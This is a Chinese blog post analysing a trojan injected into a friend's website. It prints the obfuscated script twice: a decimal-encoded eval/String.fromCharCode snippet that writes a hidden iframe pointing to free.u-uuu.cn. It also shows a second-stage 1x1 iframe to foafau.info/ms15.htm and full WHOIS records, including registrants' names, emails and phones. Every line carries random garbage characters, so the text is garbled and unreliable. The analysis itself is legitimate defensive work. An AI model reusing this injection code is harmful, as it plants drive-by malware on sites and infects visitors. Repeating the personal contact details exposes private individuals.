首发在我的博客里面，
xZ2^lsY U Px7u%Do http://www.areway.cn/?p=175 `Hj{XIOx >IZ|:lsxE 2Lravb3 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
e'%"G{(D PEA<H0 <script>t=’60,105,102,114,97,109,101,
2|a@,TW}- 32,115,114,99,61,104,116,116,112,58,47,47,
tR`'( *wh 102,114,101,101,46,117,45,117,117,117,46,99,
x@^Kd*fo 110,47,101,114,114,111,114,46,104,116,109,
OJX* :Q 32,119,105,100,116,104,61,49,48,48,32,104,
2Cy">Exl 101,105,103,104,116,61,48,62,60,47,105,102,
|U f[x[ 114,97,109,101,62′;
ZWJ%t'kF t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
`* ?8<Vm Wp5w}8g <script>t=’60,105,102,114,97,109,101,32,115,
+%Y`>1I^# 114,99,61,104,116,116,112,58,47,47,102,114,
} <G"w 5.< 101,101,46,117,45,117,117,117,46,99,110,47,
"^?|=sQ 101,114,114,111,114,46,104,116,109,32,119,
U9N1 )3/u 105,100,116,104,61,49,48,48,32,104,101,105,
p\xi 5z 103,104,116,61,48,62,60,47,105,102,114,97,
h $\+r< 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
IC5[:UZ5] document.write(t);</script>
9hoTxWpmy ?[Gj?D.Wc <html xmlns=”
M? 7CBqZ http://www.w3.org/1999/xhtml 8&d s “>
r7dvj#^ <head>
+[W_J z <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
f+A!w8E <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
rID_^g_tP8 <title>首页 - 爱生活家庭网
vpTY fE x[%z \ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
a-nf5w>&q 转换字符串后的大概内容是（谁点击后果自付）：
24 )Sf <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
2VSs#z! f9`F~6$ 查询玉米u-uuu.cn的详细信息：
LojEJ Domain Name: u-uuu.cn
6: PQkr ROID: 20070901s10001s64972306-cn
;4 E(n Domain Status: ok
ds> V|}f[ Registrant Organization: 王雷
b
\pjjb[ Registrant Name: 王雷
o *\c V 6 Administrative Email:
czlovexs@126.com ZAK NyA2 Sponsoring Registrar: 北京万网志成科技有限公司
ykq9]Xqhv Name Server:ns.yovole.com
>$^v@jf Name Server:ns1.yovole.com
=^nb-9 . Registration Date: 2007-09-01 17:54
e G8Z n<:s Expiration Date: 2008-09-01 17:54
RDFOUqS 最后PING了一下地址 都没有什么….
X9:4oMux7 +Ndo$|XCy] 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
;{@jj0h; <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
FPg5!O% <script language=”javascript” src=”
:Ng4?
+@r http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ;|n C;D] >
[X9s\H 这个玉米应该有可能是木马作者的：
Y$ tg z) foafau.info的详细信息：
+A 3Q$1F Access to INFO WHOIS information is provided to assist persons in
[xaglZ9HNo determining the contents of a domain name registration record in the
4KO2oIR Afilias registry database. The data in this record is provided by
kTCW yc Afilias Limited for informational purposes only, and Afilias does not
Kr;7~`$[ guarantee its accuracy. This service is intended only for query-based
:#yjg1aej access. You agree that you will use this data only for lawful purposes
_1<zpHp and that, under no circumstances will you use this data to: (a) allow,
G{4~{{tI enable, or otherwise support the transmission by e-mail, telephone, or
F0&BEJBkU facsimile of mass unsolicited, commercial advertising or solicitations
RA 5*QW
to entities other than the data recipient’s own existing customers; or
RU r0K#] (b) enable high volume, automated, electronic processes that send
y2XeD=_' queries or data to the systems of Registry Operator, a Registrar, or
CBj&8#8 Z Afilias except as reasonably necessary to register domain names or
*F ya
qJ) modify existing registrations. All rights reserved. Afilias reserves
V={`k$p the right to modify these terms at any time. By submitting this query,
Er 4P you agree to abide by this policy.
@|7Ma/8v Domain ID:D22418703-LRMS
-Odk'{nW Domain Name:FOAFAU.INFO
gWqO5C~h Created On:20-Nov-2007 16:05:42 UTC
S7/0B4[ Last Updated On:20-Nov-2007 16:05:44 UTC
E~k_4z% M Expiration Date:20-Nov-2008 16:05:42 UTC
;t^8lC?>V Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
k3:8T#N>!O Status:CLIENT DELETE PROHIBITED
T3-8AUCK8? Status:CLIENT RENEW PROHIBITED
^:c:~F6 J Status:CLIENT TRANSFER PROHIBITED
'yrU_k ,h Status:CLIENT UPDATE PROHIBITED
jsXj9:X I Status:TRANSFER PROHIBITED
83^|a5 Registrant ID:GODA-040110615
zAr@vBfC% Registrant Name:liu hong
!a(#G7zA Registrant Organization:
wK0= I\WN9 Registrant Street1:beijing
dcK7D d-> Registrant Street2:
#<^ngoOj Registrant Street3:
Ax'jNol Registrant City:beijing
8ec 6J*b Registrant State/Province:
i/Nd Registrant Postal Code:100000
W ix/Az Registrant Country:CN
&n|S:" B Registrant Phone:+86.860108888777
Y<A593 Registrant Phone Ext.:
h3 B s Registrant FAX:
|fQl 0hL Registrant FAX Ext.:
CB7 6 Registrant Email:bbbshiji@163.com
/^BaQeH?R Admin ID:GODA-240110615
9P pPAF Admin Name:liu hong
LTSoo .dE Admin Organization:
'Z<V( ;W Admin Street1:beijing
btQD G Admin Street2:
^p'iX4 M Admin Street3:
I eQF+Xz Admin City:beijing
{;iG}j K Admin State/Province:
Z$ 8 X1(o Admin Postal Code:100000
3A~53W$M Admin Country:CN
n'dxa<F2| Admin Phone:+86.860108888777
Pk9 4O Admin Phone Ext.:
3I rmDT Admin FAX:
Do&em8i
z Admin FAX Ext.:
R0 g- Admin Email:bbbshiji@163.com
1|+Z mo" Billing ID:GODA-340110615
Pf?*bI Billing Name:liu hong
,gvv297 Billing Organization:
ujo3"j[b Billing Street1:beijing
l1Zf#]x Billing Street2:
) \iO wA Billing Street3:
hx'p0HDta Billing City:beijing
@M:Uf7 Billing State/Province:
uk8vecj Billing Postal Code:100000
\~3g*V Billing Country:CN
jz\ LI Billing Phone:+86.860108888777
yNw YP%"y Billing Phone Ext.:
#i#4h< R Billing FAX:
@0XqUcV Billing FAX Ext.:
[sM ~B Billing Email:bbbshiji@163.com
qre.^6x Tech ID:GODA-140110615
=bVaB<! Tech Name:liu hong
DO r()X Tech Organization:
T8ga)BA Tech Street1:beijing
{"c S:u Tech Street2:
k t.y "^ Tech Street3:
Cg~GlZk} Tech City:beijing
Z+ mesj?. Tech State/Province:
5 #v Tech Postal Code:100000
yK1Z&7>J> Tech Country:CN
]5!}S-uJq Tech Phone:+86.860108888777
%T.4A j Tech Phone Ext.:
dkz79G}e Tech FAX:
GzJ("RE0)v Tech FAX Ext.:
{V> >a Tech Email:bbbshiji@163.com
kW 'xuZ& Name Server:NS27.DOMAINCONTROL.COM
-^y$ RJC Name Server:NS28.DOMAINCONTROL.COM
YQ B. 3 Name Server:
HzW`j"\ Name Server:
f}4bnu3 Name Server:
YK jm_)8]w Name Server:
xB1Oh+@i Name Server:
zi^T ?<t Name Server:
7?@s.Sz|fV Name Server:
9~6FWBt Name Server:
^Fy{Q*p`( Name Server:
Qx9lcO_ Name Server:
a0vg%Z@! Name Server:
t@ a2@dX| C?U V3 接着下载每个文件里面的代码：
ZDmBuf
q 一步一步看..
0;*1g 47\ 
h\ZnUn_ J 
1:3 I G= 
piZ0KA" 
`iX~cUQ 
w8| 38m 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
